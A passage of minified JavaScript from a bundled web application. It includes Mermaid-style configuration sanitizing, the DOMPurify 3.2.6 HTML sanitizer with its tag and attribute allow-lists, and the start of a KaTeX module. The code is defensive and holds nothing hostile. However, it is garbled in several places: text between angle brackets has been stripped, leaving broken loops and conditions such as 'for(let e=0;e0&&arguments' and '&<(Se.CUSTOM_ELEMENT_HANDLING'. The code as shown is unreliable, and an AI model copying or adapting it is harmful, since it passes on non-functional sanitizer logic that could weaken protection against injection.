Py=r,JG(Py),Py},"updateCurrentConfig"),C7=o(t=>(Es=Rn({},gh),Es=Rn(Es,t),t.theme&&So[t.theme]&&(Es.themeVariables=So[t.theme].getThemeVariables(t.themeVariables)),r3(Es,cd),Es),"setSiteConfig"),jG=o(t=>{t3=Rn({},t)},"saveConfigFromInitialize"),KG=o(t=>(Es=Rn(Es,t),r3(Es,cd),Es),"updateSiteConfig"),A7=o(()=>Rn({},Es),"getSiteConfig"),n3=o(t=>(JG(t),Rn(Py,t),Qt()),"setConfig"),Qt=o(()=>Rn({},Py),"getConfig"),QG=o(t=>{t&&(["secure",...Es.secure??[]].forEach(e=>{Object.hasOwn(t,e)&&(X.debug(`Denied attempt to modify a secure key ${e}`,t[e]),delete t[e])}),Object.keys(t).forEach(e=>{e.startsWith("__")&&delete t[e]}),Object.keys(t).forEach(e=>{typeof t[e]=="string"&&(t[e].includes("<")||t[e].includes(">")||t[e].includes("url(data:"))&&delete t[e],typeof t[e]=="object"&&QG(t[e])}))},"sanitize"),ZG=o(t=>{b0(t),t.fontFamily&&!t.themeVariables?.fontFamily&&(t.themeVariables={...t.themeVariables,fontFamily:t.fontFamily}),cd.push(t),r3(Es,cd)},"addDirective"),By=o((t=Es)=>{cd=[],r3(t,cd)},"reset"),w5e={LAZY_LOAD_DEPRECATED:"The configuration options lazyLoadedDiagrams and loadExternalDiagramsAtStartup are deprecated. Please use registerExternalDiagrams instead."},XG={},k5e=o(t=>{XG[t]||(X.warn(w5e[t]),XG[t]=!0)},"issueWarning"),JG=o(t=>{t&&(t.lazyLoadedDiagrams||t.loadExternalDiagramsAtStartup)&&k5e("LAZY_LOAD_DEPRECATED")},"checkConfig"),eV=o(()=>{let t={};t3&&(t=Rn(t,t3));for(let e of cd)t=Rn(t,e);return t},"getUserDefinedConfig")});function Ja(t){return function(e){e instanceof RegExp&&(e.lastIndex=0);for(var r=arguments.length,n=new Array(r>1?r-1:0),i=1;i2&&arguments[2]!==void 0?arguments[2]:s3;tV&&tV(t,null);let n=e.length;for(;n--;){let i=e[n];if(typeof i=="string"){let a=r(i);a!==i&&(E5e(e)||(e[n]=a),i=a)}t[i]=!0}return t}function N5e(t){for(let e=0;e0&&arguments[0]!==void 0?arguments[0]:U5e(),e=o(Ct=>pV(Ct),"DOMPurify");if(e.version="3.2.6",e.removed=[],!t||!t.document||t.document.nodeType!==Vy.document||!t.Element)return e.isSupported=!1,e;let{document:r}=t,n=r,i=n.currentScript,{DocumentFragment:a,HTMLTemplateElement:s,Node:l,Element:u,NodeFilter:h,NamedNodeMap:f=t.NamedNodeMap||t.MozNamedAttrMap,HTMLFormElement:d,DOMParser:p,trustedTypes:m}=t,g=u.prototype,y=Gy(g,"cloneNode"),v=Gy(g,"remove"),x=Gy(g,"nextSibling"),b=Gy(g,"childNodes"),T=Gy(g,"parentNode");if(typeof s=="function"){let Ct=r.createElement("template");Ct.content&&Ct.content.ownerDocument&&(r=Ct.content.ownerDocument)}let S,w="",{implementation:k,createNodeIterator:A,createDocumentFragment:C,getElementsByTagName:R}=r,{importNode:I}=n,L=cV();e.isSupported=typeof uV=="function"&&typeof T=="function"&&k&&k.createHTMLDocument!==void 0;let{MUSTACHE_EXPR:E,ERB_EXPR:D,TMPLIT_EXPR:_,DATA_ATTR:O,ARIA_ATTR:M,IS_SCRIPT_OR_DATA:P,ATTR_WHITESPACE:B,CUSTOM_ELEMENT:F}=lV,{IS_ALLOWED_URI:G}=lV,$=null,U=Nr({},[...iV,...D7,...L7,...R7,...aV]),j=null,te=Nr({},[...sV,...N7,...oV,...a3]),Y=Object.seal(hV(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),oe=null,J=null,ue=!0,re=!0,ee=!1,Z=!0,K=!1,ae=!0,Q=!1,de=!1,ne=!1,Te=!1,q=!1,Ve=!1,pe=!0,Be=!1,Ye="user-content-",He=!0,Le=!1,Ie={},Ne=null,Ce=Nr({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),Fe=null,fe=Nr({},["audio","video","img","source","image","track"]),xe=null,W=Nr({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),he="http://www.w3.org/1998/Math/MathML",z="http://www.w3.org/2000/svg",se="http://www.w3.org/1999/xhtml",le=se,ke=!1,ve=null,ye=Nr({},[he,z,se],_7),Re=Nr({},["mi","mo","mn","ms","mtext"]),_e=Nr({},["annotation-xml"]),ze=Nr({},["title","style","font","a","script"]),Ke=null,xt=["application/xhtml+xml","text/html"],We="text/html",Oe=null,et=null,Ue=r.createElement("form"),lt=o(function(Se){return Se instanceof RegExp||Se instanceof Function},"isRegexOrFunction"),Gt=o(function(){let Se=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};if(!(et&&et===Se)){if((!Se||typeof Se!="object")&&(Se={}),Se=lu(Se),Ke=xt.indexOf(Se.PARSER_MEDIA_TYPE)===-1?We:Se.PARSER_MEDIA_TYPE,Oe=Ke==="application/xhtml+xml"?_7:s3,$=hl(Se,"ALLOWED_TAGS")?Nr({},Se.ALLOWED_TAGS,Oe):U,j=hl(Se,"ALLOWED_ATTR")?Nr({},Se.ALLOWED_ATTR,Oe):te,ve=hl(Se,"ALLOWED_NAMESPACES")?Nr({},Se.ALLOWED_NAMESPACES,_7):ye,xe=hl(Se,"ADD_URI_SAFE_ATTR")?Nr(lu(W),Se.ADD_URI_SAFE_ATTR,Oe):W,Fe=hl(Se,"ADD_DATA_URI_TAGS")?Nr(lu(fe),Se.ADD_DATA_URI_TAGS,Oe):fe,Ne=hl(Se,"FORBID_CONTENTS")?Nr({},Se.FORBID_CONTENTS,Oe):Ce,oe=hl(Se,"FORBID_TAGS")?Nr({},Se.FORBID_TAGS,Oe):lu({}),J=hl(Se,"FORBID_ATTR")?Nr({},Se.FORBID_ATTR,Oe):lu({}),Ie=hl(Se,"USE_PROFILES")?Se.USE_PROFILES:!1,ue=Se.ALLOW_ARIA_ATTR!==!1,re=Se.ALLOW_DATA_ATTR!==!1,ee=Se.ALLOW_UNKNOWN_PROTOCOLS||!1,Z=Se.ALLOW_SELF_CLOSE_IN_ATTR!==!1,K=Se.SAFE_FOR_TEMPLATES||!1,ae=Se.SAFE_FOR_XML!==!1,Q=Se.WHOLE_DOCUMENT||!1,Te=Se.RETURN_DOM||!1,q=Se.RETURN_DOM_FRAGMENT||!1,Ve=Se.RETURN_TRUSTED_TYPE||!1,ne=Se.FORCE_BODY||!1,pe=Se.SANITIZE_DOM!==!1,Be=Se.SANITIZE_NAMED_PROPS||!1,He=Se.KEEP_CONTENT!==!1,Le=Se.IN_PLACE||!1,G=Se.ALLOWED_URI_REGEXP||fV,le=Se.NAMESPACE||se,Re=Se.MATHML_TEXT_INTEGRATION_POINTS||Re,_e=Se.HTML_INTEGRATION_POINTS||_e,Y=Se.CUSTOM_ELEMENT_HANDLING||{},Se.CUSTOM_ELEMENT_HANDLING&<(Se.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(Y.tagNameCheck=Se.CUSTOM_ELEMENT_HANDLING.tagNameCheck),Se.CUSTOM_ELEMENT_HANDLING&<(Se.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(Y.attributeNameCheck=Se.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),Se.CUSTOM_ELEMENT_HANDLING&&typeof Se.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements=="boolean"&&(Y.allowCustomizedBuiltInElements=Se.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),K&&(re=!1),q&&(Te=!0),Ie&&($=Nr({},aV),j=[],Ie.html===!0&&(Nr($,iV),Nr(j,sV)),Ie.svg===!0&&(Nr($,D7),Nr(j,N7),Nr(j,a3)),Ie.svgFilters===!0&&(Nr($,L7),Nr(j,N7),Nr(j,a3)),Ie.mathMl===!0&&(Nr($,R7),Nr(j,oV),Nr(j,a3))),Se.ADD_TAGS&&($===U&&($=lu($)),Nr($,Se.ADD_TAGS,Oe)),Se.ADD_ATTR&&(j===te&&(j=lu(j)),Nr(j,Se.ADD_ATTR,Oe)),Se.ADD_URI_SAFE_ATTR&&Nr(xe,Se.ADD_URI_SAFE_ATTR,Oe),Se.FORBID_CONTENTS&&(Ne===Ce&&(Ne=lu(Ne)),Nr(Ne,Se.FORBID_CONTENTS,Oe)),He&&($["#text"]=!0),Q&&Nr($,["html","head","body"]),$.table&&(Nr($,["tbody"]),delete oe.tbody),Se.TRUSTED_TYPES_POLICY){if(typeof Se.TRUSTED_TYPES_POLICY.createHTML!="function")throw zy('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if(typeof Se.TRUSTED_TYPES_POLICY.createScriptURL!="function")throw zy('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');S=Se.TRUSTED_TYPES_POLICY,w=S.createHTML("")}else S===void 0&&(S=H5e(m,i)),S!==null&&typeof w=="string"&&(w=S.createHTML(""));Za&&Za(Se),et=Se}},"_parseConfig"),vt=Nr({},[...D7,...L7,...M5e]),Lt=Nr({},[...R7,...I5e]),dt=o(function(Se){let at=T(Se);(!at||!at.tagName)&&(at={namespaceURI:le,tagName:"template"});let Nt=s3(Se.tagName),wr=s3(at.tagName);return ve[Se.namespaceURI]?Se.namespaceURI===z?at.namespaceURI===se?Nt==="svg":at.namespaceURI===he?Nt==="svg"&&(wr==="annotation-xml"||Re[wr]):!!vt[Nt]:Se.namespaceURI===he?at.namespaceURI===se?Nt==="math":at.namespaceURI===z?Nt==="math"&&_e[wr]:!!Lt[Nt]:Se.namespaceURI===se?at.namespaceURI===z&&!_e[wr]||at.namespaceURI===he&&!Re[wr]?!1:!Lt[Nt]&&(ze[Nt]||!vt[Nt]):!!(Ke==="application/xhtml+xml"&&ve[Se.namespaceURI]):!1},"_checkValidNamespace"),nt=o(function(Se){Fy(e.removed,{element:Se});try{T(Se).removeChild(Se)}catch{v(Se)}},"_forceRemove"),bt=o(function(Se,at){try{Fy(e.removed,{attribute:at.getAttributeNode(Se),from:at})}catch{Fy(e.removed,{attribute:null,from:at})}if(at.removeAttribute(Se),Se==="is")if(Te||q)try{nt(at)}catch{}else try{at.setAttribute(Se,"")}catch{}},"_removeAttribute"),wt=o(function(Se){let at=null,Nt=null;if(ne)Se=""+Se;else{let yn=nV(Se,/^[\r\n\t ]+/);Nt=yn&&yn[0]}Ke==="application/xhtml+xml"&&le===se&&(Se=''+Se+"");let wr=S?S.createHTML(Se):Se;if(le===se)try{at=new p().parseFromString(wr,Ke)}catch{}if(!at||!at.documentElement){at=k.createDocument(le,"template",null);try{at.documentElement.innerHTML=ke?w:wr}catch{}}let Tn=at.body||at.documentElement;return Se&&Nt&&Tn.insertBefore(r.createTextNode(Nt),Tn.childNodes[0]||null),le===se?R.call(at,Q?"html":"body")[0]:Q?at.documentElement:Tn},"_initDocument"),yt=o(function(Se){return A.call(Se.ownerDocument||Se,Se,h.SHOW_ELEMENT|h.SHOW_COMMENT|h.SHOW_TEXT|h.SHOW_PROCESSING_INSTRUCTION|h.SHOW_CDATA_SECTION,null)},"_createNodeIterator"),ft=o(function(Se){return Se instanceof d&&(typeof Se.nodeName!="string"||typeof Se.textContent!="string"||typeof Se.removeChild!="function"||!(Se.attributes instanceof f)||typeof Se.removeAttribute!="function"||typeof Se.setAttribute!="function"||typeof Se.namespaceURI!="string"||typeof Se.insertBefore!="function"||typeof Se.hasChildNodes!="function")},"_isClobbered"),Ur=o(function(Se){return typeof l=="function"&&Se instanceof l},"_isNode");function _t(Ct,Se,at){i3(Ct,Nt=>{Nt.call(e,Se,at,et)})}o(_t,"_executeHooks");let bn=o(function(Se){let at=null;if(_t(L.beforeSanitizeElements,Se,null),ft(Se))return nt(Se),!0;let Nt=Oe(Se.nodeName);if(_t(L.uponSanitizeElement,Se,{tagName:Nt,allowedTags:$}),ae&&Se.hasChildNodes()&&!Ur(Se.firstElementChild)&&Qa(/<[/\w!]/g,Se.innerHTML)&&Qa(/<[/\w!]/g,Se.textContent)||Se.nodeType===Vy.progressingInstruction||ae&&Se.nodeType===Vy.comment&&Qa(/<[/\w]/g,Se.data))return nt(Se),!0;if(!$[Nt]||oe[Nt]){if(!oe[Nt]&&cr(Nt)&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Nt)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Nt)))return!1;if(He&&!Ne[Nt]){let wr=T(Se)||Se.parentNode,Tn=b(Se)||Se.childNodes;if(Tn&&wr){let yn=Tn.length;for(let sn=yn-1;sn>=0;--sn){let Hi=y(Tn[sn],!0);Hi.__removalCount=(Se.__removalCount||0)+1,wr.insertBefore(Hi,x(Se))}}}return nt(Se),!0}return Se instanceof u&&!dt(Se)||(Nt==="noscript"||Nt==="noembed"||Nt==="noframes")&&Qa(/<\/no(script|embed|frames)/i,Se.innerHTML)?(nt(Se),!0):(K&&Se.nodeType===Vy.text&&(at=Se.textContent,i3([E,D,_],wr=>{at=$y(at,wr," ")}),Se.textContent!==at&&(Fy(e.removed,{element:Se.cloneNode()}),Se.textContent=at)),_t(L.afterSanitizeElements,Se,null),!1)},"_sanitizeElements"),Br=o(function(Se,at,Nt){if(pe&&(at==="id"||at==="name")&&(Nt in r||Nt in Ue))return!1;if(!(re&&!J[at]&&Qa(O,at))){if(!(ue&&Qa(M,at))){if(!j[at]||J[at]){if(!(cr(Se)&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Se)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Se))&&(Y.attributeNameCheck instanceof RegExp&&Qa(Y.attributeNameCheck,at)||Y.attributeNameCheck instanceof Function&&Y.attributeNameCheck(at))||at==="is"&&Y.allowCustomizedBuiltInElements&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Nt)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Nt))))return!1}else if(!xe[at]){if(!Qa(G,$y(Nt,B,""))){if(!((at==="src"||at==="xlink:href"||at==="href")&&Se!=="script"&&D5e(Nt,"data:")===0&&Fe[Se])){if(!(ee&&!Qa(P,$y(Nt,B,"")))){if(Nt)return!1}}}}}}return!0},"_isValidAttribute"),cr=o(function(Se){return Se!=="annotation-xml"&&nV(Se,F)},"_isBasicCustomElement"),ar=o(function(Se){_t(L.beforeSanitizeAttributes,Se,null);let{attributes:at}=Se;if(!at||ft(Se))return;let Nt={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:j,forceKeepAttr:void 0},wr=at.length;for(;wr--;){let Tn=at[wr],{name:yn,namespaceURI:sn,value:Hi}=Tn,Zs=Oe(yn),_a=Hi,fr=yn==="value"?_a:L5e(_a);if(Nt.attrName=Zs,Nt.attrValue=fr,Nt.keepAttr=!0,Nt.forceKeepAttr=void 0,_t(L.uponSanitizeAttribute,Se,Nt),fr=Nt.attrValue,Be&&(Zs==="id"||Zs==="name")&&(bt(yn,Se),fr=Ye+fr),ae&&Qa(/((--!?|])>)|<\/(style|title)/i,fr)){bt(yn,Se);continue}if(Nt.forceKeepAttr)continue;if(!Nt.keepAttr){bt(yn,Se);continue}if(!Z&&Qa(/\/>/i,fr)){bt(yn,Se);continue}K&&i3([E,D,_],kt=>{fr=$y(fr,kt," ")});let it=Oe(Se.nodeName);if(!Br(it,Zs,fr)){bt(yn,Se);continue}if(S&&typeof m=="object"&&typeof m.getAttributeType=="function"&&!sn)switch(m.getAttributeType(it,Zs)){case"TrustedHTML":{fr=S.createHTML(fr);break}case"TrustedScriptURL":{fr=S.createScriptURL(fr);break}}if(fr!==_a)try{sn?Se.setAttributeNS(sn,yn,fr):Se.setAttribute(yn,fr),ft(Se)?nt(Se):rV(e.removed)}catch{bt(yn,Se)}}_t(L.afterSanitizeAttributes,Se,null)},"_sanitizeAttributes"),_r=o(function Ct(Se){let at=null,Nt=yt(Se);for(_t(L.beforeSanitizeShadowDOM,Se,null);at=Nt.nextNode();)_t(L.uponSanitizeShadowNode,at,null),bn(at),ar(at),at.content instanceof a&&Ct(at.content);_t(L.afterSanitizeShadowDOM,Se,null)},"_sanitizeShadowDOM");return e.sanitize=function(Ct){let Se=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},at=null,Nt=null,wr=null,Tn=null;if(ke=!Ct,ke&&(Ct=""),typeof Ct!="string"&&!Ur(Ct))if(typeof Ct.toString=="function"){if(Ct=Ct.toString(),typeof Ct!="string")throw zy("dirty is not a string, aborting")}else throw zy("toString is not a function");if(!e.isSupported)return Ct;if(de||Gt(Se),e.removed=[],typeof Ct=="string"&&(Le=!1),Le){if(Ct.nodeName){let Hi=Oe(Ct.nodeName);if(!$[Hi]||oe[Hi])throw zy("root node is forbidden and cannot be sanitized in-place")}}else if(Ct instanceof l)at=wt(""),Nt=at.ownerDocument.importNode(Ct,!0),Nt.nodeType===Vy.element&&Nt.nodeName==="BODY"||Nt.nodeName==="HTML"?at=Nt:at.appendChild(Nt);else{if(!Te&&!K&&!Q&&Ct.indexOf("<")===-1)return S&&Ve?S.createHTML(Ct):Ct;if(at=wt(Ct),!at)return Te?null:Ve?w:""}at&&ne&&nt(at.firstChild);let yn=yt(Le?Ct:at);for(;wr=yn.nextNode();)bn(wr),ar(wr),wr.content instanceof a&&_r(wr.content);if(Le)return Ct;if(Te){if(q)for(Tn=C.call(at.ownerDocument);at.firstChild;)Tn.appendChild(at.firstChild);else Tn=at;return(j.shadowroot||j.shadowrootmode)&&(Tn=I.call(n,Tn,!0)),Tn}let sn=Q?at.outerHTML:at.innerHTML;return Q&&$["!doctype"]&&at.ownerDocument&&at.ownerDocument.doctype&&at.ownerDocument.doctype.name&&Qa(dV,at.ownerDocument.doctype.name)&&(sn=" +`+sn),K&&i3([E,D,_],Hi=>{sn=$y(sn,Hi," ")}),S&&Ve?S.createHTML(sn):sn},e.setConfig=function(){let Ct=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};Gt(Ct),de=!0},e.clearConfig=function(){et=null,de=!1},e.isValidAttribute=function(Ct,Se,at){et||Gt({});let Nt=Oe(Ct),wr=Oe(Se);return Br(Nt,wr,at)},e.addHook=function(Ct,Se){typeof Se=="function"&&Fy(L[Ct],Se)},e.removeHook=function(Ct,Se){if(Se!==void 0){let at=A5e(L[Ct],Se);return at===-1?void 0:_5e(L[Ct],at,1)[0]}return rV(L[Ct])},e.removeHooks=function(Ct){L[Ct]=[]},e.removeAllHooks=function(){L=cV()},e}var uV,tV,E5e,S5e,C5e,Za,Co,hV,M7,I7,i3,A5e,rV,Fy,_5e,s3,_7,nV,$y,D5e,L5e,hl,Qa,zy,iV,D7,L7,M5e,R7,I5e,aV,sV,N7,oV,a3,O5e,P5e,B5e,F5e,$5e,fV,z5e,G5e,dV,V5e,lV,Vy,U5e,H5e,cV,yh,O7=N(()=>{"use strict";({entries:uV,setPrototypeOf:tV,isFrozen:E5e,getPrototypeOf:S5e,getOwnPropertyDescriptor:C5e}=Object),{freeze:Za,seal:Co,create:hV}=Object,{apply:M7,construct:I7}=typeof Reflect<"u"&&Reflect;Za||(Za=o(function(e){return e},"freeze"));Co||(Co=o(function(e){return e},"seal"));M7||(M7=o(function(e,r,n){return e.apply(r,n)},"apply"));I7||(I7=o(function(e,r){return new e(...r)},"construct"));i3=Ja(Array.prototype.forEach),A5e=Ja(Array.prototype.lastIndexOf),rV=Ja(Array.prototype.pop),Fy=Ja(Array.prototype.push),_5e=Ja(Array.prototype.splice),s3=Ja(String.prototype.toLowerCase),_7=Ja(String.prototype.toString),nV=Ja(String.prototype.match),$y=Ja(String.prototype.replace),D5e=Ja(String.prototype.indexOf),L5e=Ja(String.prototype.trim),hl=Ja(Object.prototype.hasOwnProperty),Qa=Ja(RegExp.prototype.test),zy=R5e(TypeError);o(Ja,"unapply");o(R5e,"unconstruct");o(Nr,"addToSet");o(N5e,"cleanArray");o(lu,"clone");o(Gy,"lookupGetter");iV=Za(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),D7=Za(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),L7=Za(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),M5e=Za(["animate","color-profile","cursor","discard","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),R7=Za(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover","mprescripts"]),I5e=Za(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),aV=Za(["#text"]),sV=Za(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","popover","popovertarget","popovertargetaction","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","wrap","xmlns","slot"]),N7=Za(["accent-height","accumulate","additive","alignment-baseline","amplitude","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","exponent","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","intercept","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","slope","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","tablevalues","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),oV=Za(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),a3=Za(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),O5e=Co(/\{\{[\w\W]*|[\w\W]*\}\}/gm),P5e=Co(/<%[\w\W]*|[\w\W]*%>/gm),B5e=Co(/\$\{[\w\W]*/gm),F5e=Co(/^data-[\-\w.\u00B7-\uFFFF]+$/),$5e=Co(/^aria-[\-\w]+$/),fV=Co(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),z5e=Co(/^(?:\w+script|data):/i),G5e=Co(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),dV=Co(/^html$/i),V5e=Co(/^[a-z][.\w]*(-[.\w]+)+$/i),lV=Object.freeze({__proto__:null,ARIA_ATTR:$5e,ATTR_WHITESPACE:G5e,CUSTOM_ELEMENT:V5e,DATA_ATTR:F5e,DOCTYPE_NAME:dV,ERB_EXPR:P5e,IS_ALLOWED_URI:fV,IS_SCRIPT_OR_DATA:z5e,MUSTACHE_EXPR:O5e,TMPLIT_EXPR:B5e}),Vy={element:1,attribute:2,text:3,cdataSection:4,entityReference:5,entityNode:6,progressingInstruction:7,comment:8,document:9,documentType:10,documentFragment:11,notation:12},U5e=o(function(){return typeof window>"u"?null:window},"getGlobal"),H5e=o(function(e,r){if(typeof e!="object"||typeof e.createPolicy!="function")return null;let n=null,i="data-tt-policy-suffix";r&&r.hasAttribute(i)&&(n=r.getAttribute(i));let a="dompurify"+(n?"#"+n:"");try{return e.createPolicy(a,{createHTML(s){return s},createScriptURL(s){return s}})}catch{return console.warn("TrustedTypes policy "+a+" could not be created."),null}},"_createTrustedTypesPolicy"),cV=o(function(){return{afterSanitizeAttributes:[],afterSanitizeElements:[],afterSanitizeShadowDOM:[],beforeSanitizeAttributes:[],beforeSanitizeElements:[],beforeSanitizeShadowDOM:[],uponSanitizeAttribute:[],uponSanitizeElement:[],uponSanitizeShadowNode:[]}},"_createHooksMap");o(pV,"createDOMPurify");yh=pV()});var WU={};dr(WU,{ParseError:()=>gt,SETTINGS_SCHEMA:()=>Wy,__defineFunction:()=>Mt,__defineMacro:()=>ce,__defineSymbol:()=>V,__domTree:()=>qU,__parse:()=>GU,__renderToDomTree:()=>M3,__renderToHTMLTree:()=>UU,__setFontMetrics:()=>XV,default:()=>Owe,render:()=>EA,renderToString:()=>zU,version:()=>HU});function Q5e(t){return String(t).replace(K5e,e=>j5e[e])}function tTe(t){if(t.default)return t.default;var e=t.type,r=Array.isArray(e)?e[0]:e;if(typeof r!="string")return r.enum[0];switch(r){case"boolean":return!1;case"string":return"";case"number":return 0;case"object":return{}}}function lTe(t){for(var e=0;e=i[0]&&t<=i[1])return r.name}return null}function YV(t){for(var e=0;e=v3[e]&&t<=v3[e+1])return!0;return!1}function XV(t,e){Ql[t]=e}function lA(t,e,r){if(!Ql[e])throw new Error("Font metrics not found for font: "+e+".");var n=t.charCodeAt(0),i=Ql[e][n];if(!i&&t[0]in gV&&(n=gV[t[0]].charCodeAt(0),i=Ql[e][n]),!i&&r==="text"&&YV(n)&&(i=Ql[e][77]),i)return{depth:i[0],height:i[1],italic:i[2],skew:i[3],width:i[4]}}function xTe(t){var e;if(t>=5?e=0:t>=3?e=1:e=2,!P7[e]){var r=P7[e]={cssEmPerMu:o3.quad[e]/18};for(var n in o3)o3.hasOwnProperty(n)&&(r[n]=o3[n][e])}return P7[e]}function xV(t){if(t instanceof Cs)return t;throw new Error("Expected symbolNode but got "+String(t)+".")}function ETe(t){if(t instanceof fd)return t;throw new Error("Expected span but got "+String(t)+".")}function V(t,e,r,n,i,a){Nn[t][i]={font:e,group:r,replace:n},a&&n&&(Nn[t][n]=Nn[t][i])}function Mt(t){for(var{type:e,names:r,props:n,handler:i,htmlBuilder:a,mathmlBuilder:s}=t,l={type:e,numArgs:n.numArgs,argTypes:n.argTypes,allowedInArgument:!!n.allowedInArgument,allowedInText:!!n.allowedInText,allowedInMath:n.allowedInMath===void 0?!0:n.allowedInMath,numOptionalArgs:n.numOptionalArgs||0,infix:!!n.infix,primitive:!!n.primitive,handler:i},u=0;u0&&(a.push(p3(s,e)),s=[]),a.push(n[l]));s.length>0&&a.push(p3(s,e));var h;r?(h=p3(Ii(r,e,!0)),h.classes=["tag"],a.push(h)):i&&a.push(i);var f=du(["katex-html"],a);if(f.setAttribute("aria-hidden","true"),h){var 